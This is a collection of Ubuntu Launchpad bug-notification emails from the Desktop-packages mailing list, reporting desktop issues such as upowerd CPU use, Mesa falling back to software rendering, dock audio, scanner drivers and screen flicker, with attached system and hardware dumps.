xserver-xorg-video-ati 1:7.10.0-1 version.xserver-xorg-video-intel: xserver-xorg-video-intel 2:2.99.917+git20170309-0ubuntu1 version.xserver-xorg-video-nouveau: xserver-xorg-video-nouveau 1:1.0.15-2 To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/xorg/+bug/1761549/+subscriptions -- Mailing list: https://launchpad.net/~desktop-packages Post to : desktop-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~desktop-packages More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 861642] Re: upowerd uses 100% cpu till killed
This bug was posted in 2011 and is still present in 2018. My version: Linux thinkpad 4.4.0-119-generic #143-Ubuntu SMP Mon Apr 2 16:08:24 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to upower in Ubuntu. https://bugs.launchpad.net/bugs/861642 Title: upowerd uses 100% cpu till killed Status in Upower: New Status in upower package in Ubuntu: Confirmed Bug description: top - 12:57:54 up 2:56, 3 users, load average: 1.06, 1.12, 1.35 Tasks: 219 total, 2 running, 216 sleeping, 0 stopped, 1 zombie Cpu0 : 70.2%us, 29.8%sy, 0.0%ni, 0.0%id, 0.0%wa, 0.0%hi, 0.0%si, 0.0%st Cpu1 : 2.3%us, 1.3%sy, 0.0%ni, 96.4%id, 0.0%wa, 0.0%hi, 0.0%si, 0.0%st Cpu2 : 1.0%us, 0.3%sy, 0.0%ni, 98.7%id, 0.0%wa, 0.0%hi, 0.0%si, 0.0%st Cpu3 : 0.7%us, 1.6%sy, 0.0%ni, 97.7%id, 0.0%wa, 0.0%hi, 0.0%si, 0.0%st Cpu4 : 0.0%us, 0.3%sy, 0.0%ni, 99.7%id, 0.0%wa, 0.0%hi, 0.0%si, 0.0%st Cpu5 : 0.0%us, 0.3%sy, 0.0%ni, 98.3%id, 1.4%wa, 0.0%hi, 0.0%si, 0.0%st Mem: 5994176k total, 4198260k used, 1795916k free,63308k buffers Swap: 8193144k total, 355188k used, 7837956k free, 334316k cached PID USER PR NI VIRT RES SHR S %CPU %MEMTIME+ COMMAND 2268 root 20 0 148m 1572 680 R 100 0.0 111:08.37 upowerd ProblemType: Bug DistroRelease: Ubuntu 11.04 Package: upower 0.9.9-4 ProcVersionSignature: Ubuntu 2.6.38-11.50-generic 2.6.38.8 Uname: Linux 2.6.38-11-generic x86_64 NonfreeKernelModules: nvidia Architecture: amd64 Date: Wed Sep 28 12:53:23 2011 ExecutablePath: /usr/lib/upower/upowerd InstallationMedia: Ubuntu 10.04.1 LTS "Lucid Lynx" - Release amd64 (20100816.1) ProcEnviron: SourcePackage: upower UpgradeStatus: Upgraded to natty on 2011-04-06 (175 days ago) To manage notifications about this bug go to: https://bugs.launchpad.net/upower/+bug/861642/+subscriptions -- Mailing list: https://launchpad.net/~desktop-packages Post to : desktop-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~desktop-packages More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 525119]
http://real.tenthousandartists.com Cosmin Mazilu -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to evolution in Ubuntu. https://bugs.launchpad.net/bugs/525119 Title: folders in evolution dont appear , it seams i can subscribe to folders so i can't see any email Status in evolution package in Ubuntu: Invalid Bug description: Binary package hint: evolution folders in evolution dont appear , it seams i can subscribe to folders so i can't see any email .this happens on the evolution that comes with ubuntu 9.10 , i tried to reinstall evolution but it didin't work ProblemType: Bug Architecture: i386 Date: Sun Feb 21 04:23:11 2010 DistroRelease: Ubuntu 9.10 ExecutablePath: /usr/bin/evolution InstallationMedia: Ubuntu 9.10 "Karmic Koala" - Release i386 (20091028.5) NonfreeKernelModules: nvidia Package: evolution 2.28.1-0ubuntu2 ProcEnviron: SHELL=/bin/bash LANG=en_US.UTF-8 ProcVersionSignature: Ubuntu 2.6.31-19.56-generic SourcePackage: evolution Uname: Linux 2.6.31-19-generic i686 To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/evolution/+bug/525119/+subscriptions -- Mailing list: https://launchpad.net/~desktop-packages Post to : desktop-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~desktop-packages More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 1755097] Re: LIBGL_ALWAYS_SOFTWARE=1 renderer used instead of Intel on Xorg sessions because of unity leftover file /etc/X11/Xsession.d/50_check_unity_support
(on wayland I do get the intel drivers, but wayland has other problems) -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to mesa in Ubuntu. https://bugs.launchpad.net/bugs/1755097 Title: LIBGL_ALWAYS_SOFTWARE=1 renderer used instead of Intel on Xorg sessions because of unity leftover file /etc/X11/Xsession.d/50_check_unity_support Status in mesa package in Ubuntu: Confirmed Bug description: 3D acceleration is not working at the moment in Xorg because the LLVMpipe renderer is used. Instead, the correct Intel driver is used when trying Wayland sessions. shankao@schwifty:~$ glxinfo | grep -i opengl OpenGL vendor string: VMware, Inc. OpenGL renderer string: llvmpipe (LLVM 5.0, 256 bits) OpenGL core profile version string: 3.3 (Core Profile) Mesa 18.0.0-rc4 OpenGL core profile shading language version string: 3.30 OpenGL core profile context flags: (none) OpenGL core profile profile mask: core profile OpenGL core profile extensions: OpenGL version string: 3.0 Mesa 18.0.0-rc4 OpenGL shading language version string: 1.30 OpenGL context flags: (none) OpenGL extensions: OpenGL ES profile version string: OpenGL ES 3.0 Mesa 18.0.0-rc4 OpenGL ES profile shading language version string: OpenGL ES GLSL ES 3.00 OpenGL ES profile extensions: shankao@schwifty:~$ ProblemType: Bug DistroRelease: Ubuntu 18.04 Package: libegl-mesa0 18.0.0~rc4-1ubuntu3 ProcVersionSignature: Ubuntu 4.15.0-10.11-generic 4.15.3 Uname: Linux 4.15.0-10-generic x86_64 ApportVersion: 2.20.8-0ubuntu10 Architecture: amd64 CompizPlugins: No value set for `/apps/compiz-1/general/screen0/options/active_plugins' CompositorRunning: None CurrentDesktop: ubuntu:GNOME Date: Mon Mar 12 15:06:16 2018 DistUpgraded: 2018-01-09 22:07:50,078 DEBUG Running PostInstallScript: './xorg_fix_proprietary.py' DistroCodename: bionic DistroVariant: ubuntu DkmsStatus: virtualbox, 5.2.8, 4.15.0-10-generic, x86_64: installed EcryptfsInUse: Yes ExtraDebuggingInterest: Yes, if not too technical GraphicsCard: Intel Corporation UHD Graphics 620 [8086:5917] (rev 07) (prog-if 00 [VGA controller]) Subsystem: Acer Incorporated [ALI] UHD Graphics 620 [1025:118c] InstallationDate: Installed on 2018-01-09 (61 days ago) InstallationMedia: Ubuntu 16.04.2 LTS "Xenial Xerus" - Release amd64 (20170215.2) MachineType: Acer Swift SF314-52 ProcEnviron: LANGUAGE=en_SG:en PATH=(custom, no user) XDG_RUNTIME_DIR= LANG=en_SG.UTF-8 SHELL=/bin/bash ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-4.15.0-10-generic root=UUID=e60d0a36-2013-48c7-bf91-fd01764bae3b ro quiet splash vt.handoff=1 SourcePackage: mesa UpgradeStatus: Upgraded to bionic on 2018-01-09 (61 days ago) dmi.bios.date: 07/18/2017 dmi.bios.vendor: Insyde Corp. dmi.bios.version: V1.06 dmi.board.asset.tag: Type2 - Board Asset Tag dmi.board.name: Suntory_KL dmi.board.vendor: KBL dmi.board.version: V1.06 dmi.chassis.type: 10 dmi.chassis.vendor: Acer dmi.chassis.version: Chassis Version dmi.modalias: dmi:bvnInsydeCorp.:bvrV1.06:bd07/18/2017:svnAcer:pnSwiftSF314-52:pvrV1.06:rvnKBL:rnSuntory_KL:rvrV1.06:cvnAcer:ct10:cvrChassisVersion: dmi.product.family: Swift 3 dmi.product.name: Swift SF314-52 dmi.product.version: V1.06 dmi.sys.vendor: Acer version.compiz: compiz 1:0.9.13.1+18.04.20180302-0ubuntu1 version.libdrm2: libdrm2 2.4.90-1 version.libgl1-mesa-dri: libgl1-mesa-dri 18.0.0~rc4-1ubuntu3 version.libgl1-mesa-glx: libgl1-mesa-glx 18.0.0~rc4-1ubuntu3 version.xserver-xorg-core: xserver-xorg-core 2:1.19.6-1ubuntu2 version.xserver-xorg-input-evdev: xserver-xorg-input-evdev N/A version.xserver-xorg-video-ati: xserver-xorg-video-ati 1:7.10.0-1 version.xserver-xorg-video-intel: xserver-xorg-video-intel 2:2.99.917+git20171229-1 version.xserver-xorg-video-nouveau: xserver-xorg-video-nouveau 1:1.0.15-2 To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/mesa/+bug/1755097/+subscriptions -- Mailing list: https://launchpad.net/~desktop-packages Post to : desktop-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~desktop-packages More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 1755097] Re: LIBGL_ALWAYS_SOFTWARE=1 renderer used instead of Intel on Xorg sessions because of unity leftover file /etc/X11/Xsession.d/50_check_unity_support
I've purged nux-tools, and /etc/X11/Xsession.d/50_check_unity_support is gone, but after a reboot, I still get $ glxinfo | grep renderer GLX_MESA_multithread_makecurrent, GLX_MESA_query_renderer, GLX_MESA_multithread_makecurrent, GLX_MESA_query_renderer, Extended renderer info (GLX_MESA_query_renderer): OpenGL renderer string: llvmpipe (LLVM 6.0, 256 bits) $ LIBGL_ALWAYS_SOFTWARE=0 glxinfo | grep -i opengl OpenGL vendor string: VMware, Inc. OpenGL renderer string: llvmpipe (LLVM 6.0, 256 bits) OpenGL core profile version string: 3.3 (Core Profile) Mesa 18.0.0-rc5 OpenGL core profile shading language version string: 3.30 OpenGL core profile context flags: (none) OpenGL core profile profile mask: core profile OpenGL core profile extensions: OpenGL version string: 3.0 Mesa 18.0.0-rc5 OpenGL shading language version string: 1.30 OpenGL context flags: (none) OpenGL extensions: OpenGL ES profile version string: OpenGL ES 3.0 Mesa 18.0.0-rc5 OpenGL ES profile shading language version string: OpenGL ES GLSL ES 3.00 OpenGL ES profile extensions: -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to mesa in Ubuntu. https://bugs.launchpad.net/bugs/1755097 Title: LIBGL_ALWAYS_SOFTWARE=1 renderer used instead of Intel on Xorg sessions because of unity leftover file /etc/X11/Xsession.d/50_check_unity_support Status in mesa package in Ubuntu: Confirmed Bug description: 3D acceleration is not working at the moment in Xorg because the LLVMpipe renderer is used. Instead, the correct Intel driver is used when trying Wayland sessions. shankao@schwifty:~$ glxinfo | grep -i opengl OpenGL vendor string: VMware, Inc. OpenGL renderer string: llvmpipe (LLVM 5.0, 256 bits) OpenGL core profile version string: 3.3 (Core Profile) Mesa 18.0.0-rc4 OpenGL core profile shading language version string: 3.30 OpenGL core profile context flags: (none) OpenGL core profile profile mask: core profile OpenGL core profile extensions: OpenGL version string: 3.0 Mesa 18.0.0-rc4 OpenGL shading language version string: 1.30 OpenGL context flags: (none) OpenGL extensions: OpenGL ES profile version string: OpenGL ES 3.0 Mesa 18.0.0-rc4 OpenGL ES profile shading language version string: OpenGL ES GLSL ES 3.00 OpenGL ES profile extensions: shankao@schwifty:~$ ProblemType: Bug DistroRelease: Ubuntu 18.04 Package: libegl-mesa0 18.0.0~rc4-1ubuntu3 ProcVersionSignature: Ubuntu 4.15.0-10.11-generic 4.15.3 Uname: Linux 4.15.0-10-generic x86_64 ApportVersion: 2.20.8-0ubuntu10 Architecture: amd64 CompizPlugins: No value set for `/apps/compiz-1/general/screen0/options/active_plugins' CompositorRunning: None CurrentDesktop: ubuntu:GNOME Date: Mon Mar 12 15:06:16 2018 DistUpgraded: 2018-01-09 22:07:50,078 DEBUG Running PostInstallScript: './xorg_fix_proprietary.py' DistroCodename: bionic DistroVariant: ubuntu DkmsStatus: virtualbox, 5.2.8, 4.15.0-10-generic, x86_64: installed EcryptfsInUse: Yes ExtraDebuggingInterest: Yes, if not too technical GraphicsCard: Intel Corporation UHD Graphics 620 [8086:5917] (rev 07) (prog-if 00 [VGA controller]) Subsystem: Acer Incorporated [ALI] UHD Graphics 620 [1025:118c] InstallationDate: Installed on 2018-01-09 (61 days ago) InstallationMedia: Ubuntu 16.04.2 LTS "Xenial Xerus" - Release amd64 (20170215.2) MachineType: Acer Swift SF314-52 ProcEnviron: LANGUAGE=en_SG:en PATH=(custom, no user) XDG_RUNTIME_DIR= LANG=en_SG.UTF-8 SHELL=/bin/bash ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-4.15.0-10-generic root=UUID=e60d0a36-2013-48c7-bf91-fd01764bae3b ro quiet splash vt.handoff=1 SourcePackage: mesa UpgradeStatus: Upgraded to bionic on 2018-01-09 (61 days ago) dmi.bios.date: 07/18/2017 dmi.bios.vendor: Insyde Corp. dmi.bios.version: V1.06 dmi.board.asset.tag: Type2 - Board Asset Tag dmi.board.name: Suntory_KL dmi.board.vendor: KBL dmi.board.version: V1.06 dmi.chassis.type: 10 dmi.chassis.vendor: Acer dmi.chassis.version: Chassis Version dmi.modalias: dmi:bvnInsydeCorp.:bvrV1.06:bd07/18/2017:svnAcer:pnSwiftSF314-52:pvrV1.06:rvnKBL:rnSuntory_KL:rvrV1.06:cvnAcer:ct10:cvrChassisVersion: dmi.product.family: Swift 3 dmi.product.name: Swift SF314-52 dmi.product.version: V1.06 dmi.sys.vendor: Acer version.compiz: compiz 1:0.9.13.1+18.04.20180302-0ubuntu1 version.libdrm2: libdrm2 2.4.90-1 version.libgl1-mesa-dri: libgl1-mesa-dri 18.0.0~rc4-1ubuntu3 version.libgl1-mesa-glx: libgl1-mesa-glx 18.0.0~rc4-1ubuntu3 version.xserver-xorg-core: xserver-xorg-core 2:1.19.6-1ubuntu2 version.xserver-xorg-input-evdev: xserver-xorg-input-evdev N/A version.xserver-xorg-video-ati: xserver-xorg-video-ati 1:7.10.0-1 version.xserver-xorg-video-intel: xserver-xorg-video-intel 2:2.99.917+git20171229-1 version.xserver-xorg-video-nouveau: xserver-xorg-video-nouveau 1:1.0.15-2 To manage notifications about this bug go to: https:/
[Desktop-packages] [Bug 1718824] Re: The analogue audio does not work on the Dell USB Dock
here you go... Would it be ok to reopen the status of the bug and tag it with regression? ** Attachment added: "pactl list (output)" https://bugs.launchpad.net/ubuntu/+source/pulseaudio/+bug/1718824/+attachment/5141829/+files/pactl -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to pulseaudio in Ubuntu. https://bugs.launchpad.net/bugs/1718824 Title: The analogue audio does not work on the Dell USB Dock Status in HWE Next: Fix Released Status in OEM Priority Project: Fix Released Status in pulseaudio package in Ubuntu: Fix Released Status in pulseaudio source package in Xenial: Fix Released Status in pulseaudio source package in Artful: Fix Released Bug description: SRU Document: [Impact] If users use the latest Dell USB Dock, e.g. TB16, they will found the analog audio (lineout jack) can't work under ubuntu linux [Test Case] After applying the fix, users can play sound via analog speaker or lineout freely. Without the fix, users can't play sound from lineout jack. [Regression Potential] No any possibility to introduce regression since this fix just adding a new dock's support, it does not change any existing code. [Other Info] No more info here Steps: 1. Cold boot system with BME/IE connected 2. Plug in a speaker to Line-out jack 3. Set Analog Stereo Output from Sound settings Expected results: Line-out port can work Actual results: Line-out port not work To manage notifications about this bug go to: https://bugs.launchpad.net/hwe-next/+bug/1718824/+subscriptions -- Mailing list: https://launchpad.net/~desktop-packages Post to : desktop-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~desktop-packages More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 1728012] Re: Many 3rd party scanner drivers are broken by a sane change
Brother MFC-7420 installed under fresh install of 18.04 and connected via USB. Brother2 drivers are installed. Have created links and local udev rules and almost have scanner working. scanimage -L >>> device `brother2:bus2;dev4' is a Brother MFC-7420 USB scanner scanimage --test >>> scanimage: open of device brother2:bus2;dev4 failed: Invalid argument Using debug, scanimage test openned and successfully interrogated the scanner but failed with [dll] sane_start(handle=0x55c29b5b7ee0) scanimage: sane_start: Invalid argument scanning to file was similar [dll] sane_open: trying to open `brother2:bus2;dev1' scanimage: open of device brother2:bus2;dev1 failed: Invalid argument To get this far my drivers needed libusb-0.1-4 (userspace USB programming library). 18.04 uses libusb-1 and they are not interchangeable as I tried a simple link pointing to new version. Is this a jigsaw puzzle with a couple of pieces missing -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to sane-backends in Ubuntu. https://bugs.launchpad.net/bugs/1728012 Title: Many 3rd party scanner drivers are broken by a sane change Status in sane-backends package in Ubuntu: Confirmed Bug description: Many scanners can no more be used since sane has changed something: The 3rd-party plug-in the vendor provides as .deb package will still install. But the scanner is no more recognized. Scanners that are affected are(besides others): - Epson Perfection V10 - Epson Perfection V1000 - Epson WorkForce GT-1500 - Brother MFC-8510DN - Epson Perfection V33 It is to note that the probability that the scanner manufacturers fix things others broke is below 100%. ProblemType: Bug DistroRelease: Ubuntu 18.04 Package: libsane1 1.0.27-1~experimental2ubuntu2 Uname: Linux 4.14.0-041400rc5-lowlatency x86_64 ApportVersion: 2.20.7-0ubuntu3.1 Architecture: amd64 Date: Fri Oct 27 12:35:52 2017 EcryptfsInUse: Yes SourcePackage: sane-backends UpgradeStatus: No upgrade log present (probably fresh install) To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/sane-backends/+bug/1728012/+subscriptions -- Mailing list: https://launchpad.net/~desktop-packages Post to : desktop-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~desktop-packages More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 1772238] Re: mix of german/english words
** Tags added: bionic -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to gnome-control-center in Ubuntu. https://bugs.launchpad.net/bugs/1772238 Title: mix of german/english words Status in gnome-control-center package in Ubuntu: New Bug description: mix of german/english words in ubuntubudgie 18.04 To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/gnome-control-center/+bug/1772238/+subscriptions -- Mailing list: https://launchpad.net/~desktop-packages Post to : desktop-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~desktop-packages More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 1310789] Re: lightdm doesn't allow to have multiple logins.
I've tried to do the same(login twice as same user, but with different desktop environments). Why I can't do that? I want to login twice because there are some applications and libraries(for example, jinput,minecraft) that can capture mouse and 'forget' to release it when losing focus(for example, I press +, and I can not use mouse to click buttons in other applications, and all clicks are sent to the window that captured the mouse). -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to lightdm in Ubuntu. https://bugs.launchpad.net/bugs/1310789 Title: lightdm doesn't allow to have multiple logins. Status in lightdm package in Ubuntu: Expired Bug description: Currenly, I installed Ubuntu 14.04 and running lightdm(1.10.0-0ubuntu3) and enaled for xdmcp. Somehow I can't have 2nd connection from remote machine. Here is my setting for lightdm root@k48:/home/spark# more /usr/share/lightdm/lightdm.conf.d/50-ubuntu.conf [SeatDefaults] user-session=ubuntu xserver-allow-tcp=true greeter-show-manual-login=true greeter-show-remote-login=true xserver-hostname=k48 [XDMCPServer] enabled=true This is what I got for logs when trying to have the 2nd connection from a remote machine. [+338.60s] DEBUG: Session pid=4337: Continue authentication [+338.63s] DEBUG: Session pid=4397: Authentication complete with return value 0: Success [+338.63s] DEBUG: Session pid=4337: Authenticate result for user spark: Success [+338.63s] DEBUG: Session pid=4337: User spark authorized [+338.65s] DEBUG: Session pid=4337: Greeter requests session ubuntu [+338.65s] DEBUG: Seat: Stopping greeter; display server will be re-used for user session [+338.65s] DEBUG: Session pid=4337: Sending SIGTERM [+338.65s] DEBUG: Session pid=4337: Exited with return value 0 [+338.65s] DEBUG: Seat: Session stopped [+338.65s] DEBUG: Seat: Greeter stopped, running session [+338.65s] DEBUG: Registering session with bus path /org/freedesktop/DisplayManager/Session2 [+338.66s] DEBUG: Session pid=4397: Not setting XDG_VTNR [+338.66s] DEBUG: Session pid=4397: Running command /usr/sbin/lightdm-session gnome-session --session=ubuntu [+338.66s] DEBUG: Session pid=4397: Logging to .xsession-errors [+340.17s] DEBUG: User /org/freedesktop/Accounts/User1000 changed Any idea? To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/lightdm/+bug/1310789/+subscriptions -- Mailing list: https://launchpad.net/~desktop-packages Post to : desktop-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~desktop-packages More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 1772238] [NEW] mix of german/english words
Public bug reported: mix of german/english words in ubuntubudgie 18.04 ** Affects: gnome-control-center (Ubuntu) Importance: Undecided Status: New ** Attachment added: "Bildschirmfoto vom 2018-05-20 08-16-23.png" https://bugs.launchpad.net/bugs/1772238/+attachment/5141824/+files/Bildschirmfoto%20vom%202018-05-20%2008-16-23.png -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to gnome-control-center in Ubuntu. https://bugs.launchpad.net/bugs/1772238 Title: mix of german/english words Status in gnome-control-center package in Ubuntu: New Bug description: mix of german/english words in ubuntubudgie 18.04 To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/gnome-control-center/+bug/1772238/+subscriptions -- Mailing list: https://launchpad.net/~desktop-packages Post to : desktop-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~desktop-packages More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 1761549] Re: Screen flickering, whenever went to lock, waking up creates problem.
After 16.04 this happened. Also there is no such issue with Windows 10 I can't install a new image. I need to take whole lot of back up. -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to xorg in Ubuntu. https://bugs.launchpad.net/bugs/1761549 Title: Screen flickering, whenever went to lock, waking up creates problem. Status in xorg package in Ubuntu: Incomplete Bug description: screen flickered after trying to unlock. The display got off after the lock timeout. and then whenever tried to unlock, screen would not wake up after mouse hover. only pressing enter works that too takes time. also need to type multiple time. It happen when the screen goes off without lock and need to on the screen. This time the screen flickering occurred and I had to force shutdown. ProblemType: Bug DistroRelease: Ubuntu 17.10 Package: xorg 1:7.7+19ubuntu3 ProcVersionSignature: Ubuntu 4.13.0-38.43-generic 4.13.16 Uname: Linux 4.13.0-38-generic x86_64 ApportVersion: 2.20.7-0ubuntu3.7 Architecture: amd64 CompizPlugins: No value set for `/apps/compiz-1/general/screen0/options/active_plugins' CompositorRunning: None CurrentDesktop: ubuntu:GNOME Date: Thu Apr 5 23:21:05 2018 DistUpgraded: Fresh install DistroCodename: artful DistroVariant: ubuntu ExtraDebuggingInterest: Yes, including running git bisection searches GraphicsCard: Intel Corporation HD Graphics 5500 [8086:1616] (rev 09) (prog-if 00 [VGA controller]) Subsystem: Hewlett-Packard Company HD Graphics 5500 [103c:80dd] Subsystem: Hewlett-Packard Company GM107M [GeForce GTX 950M] [103c:80dd] Lsusb: Bus 002 Device 001: ID 1d6b:0003 Linux Foundation 3.0 root hub Bus 001 Device 004: ID 04f2:b50c Chicony Electronics Co., Ltd Bus 001 Device 003: ID 8087:07dc Intel Corp. Bus 001 Device 002: ID 04ca:0061 Lite-On Technology Corp. Bus 001 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub MachineType: Hewlett-Packard HP ENVY Notebook ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-4.13.0-38-generic.efi.signed root=UUID=66e83990-fa59-45e7-b14e-2c0ec6e2d46c ro quiet splash vt.handoff=7 SourcePackage: xorg Symptom: display UpgradeStatus: No upgrade log present (probably fresh install) dmi.bios.date: 05/23/2017 dmi.bios.vendor: Insyde dmi.bios.version: F.45 dmi.board.asset.tag: Type2 - Board Asset Tag dmi.board.name: 80DD dmi.board.vendor: Hewlett-Packard dmi.board.version: 64.39 dmi.chassis.asset.tag: Chassis Asset Tag dmi.chassis.type: 10 dmi.chassis.vendor: Hewlett-Packard dmi.chassis.version: Chassis Version dmi.modalias: dmi:bvnInsyde:bvrF.45:bd05/23/2017:svnHewlett-Packard:pnHPENVYNotebook:pvrType1ProductConfigId:rvnHewlett-Packard:rn80DD:rvr64.39:cvnHewlett-Packard:ct10:cvrChassisVersion: dmi.product.family: 103C_5335KV G=N L=CON B=HP S=ENV dmi.product.name: HP ENVY Notebook dmi.product.version: Type1ProductConfigId dmi.sys.vendor: Hewlett-Packard version.compiz: compiz N/A version.libdrm2: libdrm2 2.4.83-1 version.libgl1-mesa-dri: libgl1-mesa-dri 17.2.8-0ubuntu0~17.10.1 version.libgl1-mesa-glx: libgl1-mesa-glx 17.2.8-0ubuntu0~17.10.1 version.xserver-xorg-core: xserver-xorg-core 2:1.19.5-0ubuntu2 version.xserver-xorg-input-evdev: xserver-xorg-input-evdev N/A version.xserver-xorg-video-ati: xserver-xorg-video-ati 1:7.10.0-1 version.xserver-xorg-video-intel: xserver-xorg-video-intel 2:2.99.917+git20170309-0ubuntu1 version.xserver-xorg-video-nouveau: xserver-xorg-video-nouveau 1:1.0.15-2 To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/xorg/+bug/1761549/+subscriptions -- Mailing list: https://launchpad.net/~desktop-packages Post to : desktop-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~desktop-packages More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 1761549] Re: Screen flickering, whenever went to lock, waking up creates problem.
SMBIOS 2.8 present. 55 structures occupying 2932 bytes. Table at 0x9BE7E000. Handle 0x, DMI type 0, 24 bytes BIOS Information Vendor: Insyde Version: F.45 Release Date: 05/23/2017 Address: 0xE Runtime Size: 128 kB ROM Size: 6144 kB Characteristics: PCI is supported BIOS is upgradeable BIOS shadowing is allowed Boot from CD is supported Selectable boot is supported EDD is supported Japanese floppy for NEC 9800 1.2 MB is supported (int 13h) Japanese floppy for Toshiba 1.2 MB is supported (int 13h) 5.25"/360 kB floppy services are supported (int 13h) 5.25"/1.2 MB floppy services are supported (int 13h) 3.5"/720 kB floppy services are supported (int 13h) 3.5"/2.88 MB floppy services are supported (int 13h) 8042 keyboard services are supported (int 9h) CGA/mono video services are supported (int 10h) ACPI is supported USB legacy is supported BIOS boot specification is supported Targeted content distribution is supported UEFI is supported BIOS Revision: 15.69 Firmware Revision: 64.39 Handle 0x0001, DMI type 1, 27 bytes System Information Manufacturer: Hewlett-Packard Product Name: HP ENVY Notebook Version: Type1ProductConfigId Serial Number: CND5285KXS UUID: 87CD7F2E-081E-E511-A26A-5820B1690656 Wake-up Type: Power Switch SKU Number: M9V81PA#ACJ Family: 103C_5335KV G=N L=CON B=HP S=ENV Handle 0x0002, DMI type 2, 17 bytes Base Board Information Manufacturer: Hewlett-Packard Product Name: 80DD Version: 64.39 Serial Number: PFFFPC21W8WVZY Asset Tag: Type2 - Board Asset Tag Features: Board is a hosting board Board is replaceable Location In Chassis: Type2 - Board Chassis Location Chassis Handle: 0x0003 Type: Motherboard Contained Object Handles: 0 Handle 0x0003, DMI type 3, 24 bytes Chassis Information Manufacturer: Hewlett-Packard Type: Notebook Lock: Not Present Version: Chassis Version Serial Number: Chassis Serial Number Asset Tag: Chassis Asset Tag Boot-up State: Safe Power Supply State: Safe Thermal State: Safe Security Status: None OEM Information: 0x010E Height: Unspecified Number Of Power Cords: 1 Contained Elements: 0 SKU Number: Handle 0x0004, DMI type 4, 42 bytes Processor Information Socket Designation: U3E1 Type: Central Processor Family: Core i7 Manufacturer: Intel(R) Corporation ID: D4 06 03 00 FF FB EB BF Signature: Type 0, Family 6, Model 61, Stepping 4 Flags: FPU (Floating-point unit on-chip) VME (Virtual mode extension) DE (Debugging extension) PSE (Page size extension) TSC (Time stamp counter) MSR (Model specific registers) PAE (Physical address extension) MCE (Machine check exception) CX8 (CMPXCHG8 instruction supported) APIC (On-chip APIC hardware supported) SEP (Fast system call) MTRR (Memory type range registers) PGE (Page global enable) MCA (Machine check architecture) CMOV (Conditional move instruction supported) PAT (Page attribute table) PSE-36 (36-bit page size extension) CLFSH (CLFLUSH instruction supported) DS (Debug store) ACPI (ACPI supported) MMX (MMX technology supported) FXSR (FXSAVE and FXSTOR instructions supported) SSE (Streaming SIMD extensions) SSE2 (Streaming SIMD extensions 2) SS (Self-snoop) HTT (Multi-threading) TM (Thermal monitor supported) PBE (Pending break enabled) Version: Intel(R) Core(TM) i7-5500U CPU @ 2.40GHz Voltage: 1.0 V External Clock: 100 MHz Max Speed: 3000 MHz Current Speed: 2900 MHz Status: Populated, Enabled Upgrade: Socket BGA1168 L1 Cache Handle: 0x0006 L2 Cache Handle: 0x0007 L3 Cache Handle: 0x0008 Serial Number: To Be Filled By O.E.M. Asset Tag: To Be Filled By O.E.M. Part Number: To Be Filled By O.E.M. Core Count: 2 Core Enabled: 2 Thread Count: 4 Characteristics: 64-bit capable Multi-Core Hardw
[Desktop-packages] [Bug 1761549] Re: Screen flickering, whenever went to lock, waking up creates problem.
product: HP ENVY Notebook (M9V81PA#ACJ) product: 80DD product: Intel(R) Core(TM) i7-5500U CPU @ 2.40GHz product: 16KTF1G64HZ-1G6N1 product: 16KTF1G64HZ-1G6N1 product: Broadwell-U Host Bridge -OPI product: HD Graphics 5500 product: Broadwell-U Audio Controller product: Broadwell-U Processor Thermal Subsystem product: Wildcat Point-LP USB xHCI Controller product: xHCI Host Controller product: USB Optical Mouse product: HP Truevision HD product: xHCI Host Controller product: Wildcat Point-LP MEI Controller #1 product: Wildcat Point-LP High Definition Audio Controller product: Wildcat Point-LP PCI Express Root Port #1 product: Wildcat Point-LP PCI Express Root Port #3 product: RTL8111/8168/8411 PCI Express Gigabit Ethernet Controller product: Wildcat Point-LP PCI Express Root Port #4 product: RTS522A PCI Express Card Reader product: Wildcat Point-LP PCI Express Root Port #5 product: GM107M [GeForce GTX 950M] product: Wildcat Point-LP PCI Express Root Port #6 product: Wireless 3160 product: Wildcat Point-LP LPC Controller product: Wildcat Point-LP SATA Controller [AHCI Mode] product: Wildcat Point-LP SMBus Controller product: Wildcat Point-LP Thermal Management Controller product: ST2000LM003 HN-M product: LP03055 -- You received this bug notification because you are a member of Desktop Packages, which is 